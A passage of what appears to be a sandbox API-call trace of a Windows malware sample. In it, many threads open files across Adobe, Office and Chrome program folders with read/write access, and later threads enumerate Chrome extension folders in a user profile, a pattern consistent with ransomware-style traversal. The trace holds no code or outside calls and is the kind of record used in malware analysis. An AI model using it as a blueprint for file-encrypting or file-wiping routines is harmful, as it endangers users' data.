(x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\WindowsMedia.HUN", dwFileAttributes=0x20) returned 0 [0162.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ba8e0) returned 1 Thread: id = 5023 os_tid = 0x9d8 [0162.729] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\Flash.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\flash.slv")) returned 0x20 [0163.742] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\Flash.SLV", dwFileAttributes=0x20) returned 0 [0163.742] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\Flash.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\flash.slv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.742] GetLastError () returned 0x5 [0163.742] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\Flash.SLV", dwFileAttributes=0x20) returned 0 [0163.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f59c8) returned 1 Thread: id = 5051 os_tid = 0xb98 [0163.098] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\dexshare.asfx")) returned 0x20 [0163.099] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\DEXShare.asfx", dwFileAttributes=0x20) returned 0 [0163.099] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\dexshare.asfx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.099] GetLastError () returned 0x5 [0163.099] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\DEXShare.asfx", dwFileAttributes=0x20) returned 0 [0163.099] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97c728) returned 1 Thread: id = 5052 os_tid = 0xb9c [0163.100] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\services.asfx")) returned 0x20 [0163.100] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\Services.asfx", dwFileAttributes=0x20) returned 0 [0163.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\services.asfx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.100] GetLastError () returned 0x5 [0163.100] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\Services.asfx", dwFileAttributes=0x20) returned 0 [0163.100] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b288) returned 1 Thread: id = 5053 os_tid = 0xba4 [0163.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\header.gif")) returned 0x20 [0163.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0163.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\header.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.102] GetLastError () returned 0x5 [0163.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0163.102] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6980) returned 1 Thread: id = 5054 os_tid = 0xba8 [0163.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_off.gif")) returned 0x20 [0163.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0163.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_off.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.103] GetLastError () returned 0x5 [0163.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0163.103] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6500) returned 1 Thread: id = 5055 os_tid = 0xbac [0163.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_on.gif")) returned 0x20 [0163.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0163.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_on.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.110] GetLastError () returned 0x5 [0163.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0163.110] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6bc0) returned 1 Thread: id = 5056 os_tid = 0xbb4 [0163.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\header.gif")) returned 0x20 [0163.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0163.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\header.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.118] GetLastError () returned 0x5 [0163.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0163.119] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6c80) returned 1 Thread: id = 5057 os_tid = 0xbb8 [0163.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_off.gif")) returned 0x20 [0163.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0163.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_off.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.120] GetLastError () returned 0x5 [0163.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0163.120] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6800) returned 1 Thread: id = 5058 os_tid = 0xbbc [0163.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_on.gif")) returned 0x20 [0163.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0163.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\tab_on.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.122] GetLastError () returned 0x5 [0163.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0163.122] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c7340) returned 1 Thread: id = 5059 os_tid = 0xbc0 [0163.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\header.gif")) returned 0x20 [0163.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0163.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\header.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.123] GetLastError () returned 0x5 [0163.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0163.123] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ba750) returned 1 Thread: id = 5060 os_tid = 0xbcc [0163.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_off.gif")) returned 0x20 [0163.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0163.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_off.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.125] GetLastError () returned 0x5 [0163.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0163.125] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ba8e0) returned 1 Thread: id = 5061 os_tid = 0xbd0 [0163.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_on.gif")) returned 0x20 [0163.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0163.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_on.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.127] GetLastError () returned 0x5 [0163.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0163.127] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4baa70) returned 1 Thread: id = 5062 os_tid = 0xbd4 [0163.128] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdm.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64\\widevinecdm.dll.sig")) returned 0x20 [0163.130] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdm.dll.sig", dwFileAttributes=0x20) returned 0 [0163.131] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdm.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64\\widevinecdm.dll.sig"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.134] GetLastError () returned 0x5 [0163.134] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdm.dll.sig", dwFileAttributes=0x20) returned 0 [0163.135] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ec4d8) returned 1 Thread: id = 5063 os_tid = 0x970 [0163.136] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig")) returned 0x20 [0163.386] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig", dwFileAttributes=0x20) returned 0 [0163.386] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.386] GetLastError () returned 0x5 [0163.386] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig", dwFileAttributes=0x20) returned 0 [0163.387] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f28) returned 1 Thread: id = 5064 os_tid = 0x978 [0163.140] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf4) returned 0x8ec4d8 [0163.140] wcscpy (in: _Dest=0x8ec4d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0163.140] wcscat (in: _Dest=0x8ec4d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" [0163.140] wcscat (in: _Dest=0x8ec4d8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*" [0163.140] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907778 [0163.140] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*", lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9c90 [0164.190] wcscmp (_String1=".", _String2=".") returned 0 [0164.190] FindNextFileW (in: hFindFile=0x8d9c90, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.190] wcscmp (_String1="..", _String2=".") returned 1 [0164.190] wcscmp (_String1="..", _String2="..") returned 0 [0164.190] FindNextFileW (in: hFindFile=0x8d9c90, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 1 [0164.190] wcscmp (_String1="0.9_0", _String2=".") returned 1 [0164.190] wcscmp (_String1="0.9_0", _String2="..") returned 1 [0164.190] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xfc) returned 0xd4ca080 [0164.190] wcscpy (in: _Dest=0xd4ca080, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0164.190] wcscat (in: _Dest=0xd4ca080, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" [0164.190] wcscat (in: _Dest=0xd4ca080, _Source="0.9_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0164.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4ca080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8dc [0164.575] FindNextFileW (in: hFindFile=0x8d9c90, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 0 [0164.575] FindClose (in: hFindFile=0x8d9c90 | out: hFindFile=0x8d9c90) returned 1 [0164.575] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907778) returned 1 [0164.575] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ec4d8) returned 1 [0164.575] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904648) returned 1 Thread: id = 5065 os_tid = 0x984 [0163.141] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf4) returned 0x8ec3d8 [0163.142] wcscpy (in: _Dest=0x8ec3d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0163.142] wcscat (in: _Dest=0x8ec3d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0163.142] wcscat (in: _Dest=0x8ec3d8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*" [0163.142] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x905830 [0163.142] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*", lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da450 [0164.429] wcscmp (_String1=".", _String2=".") returned 0 [0164.429] FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 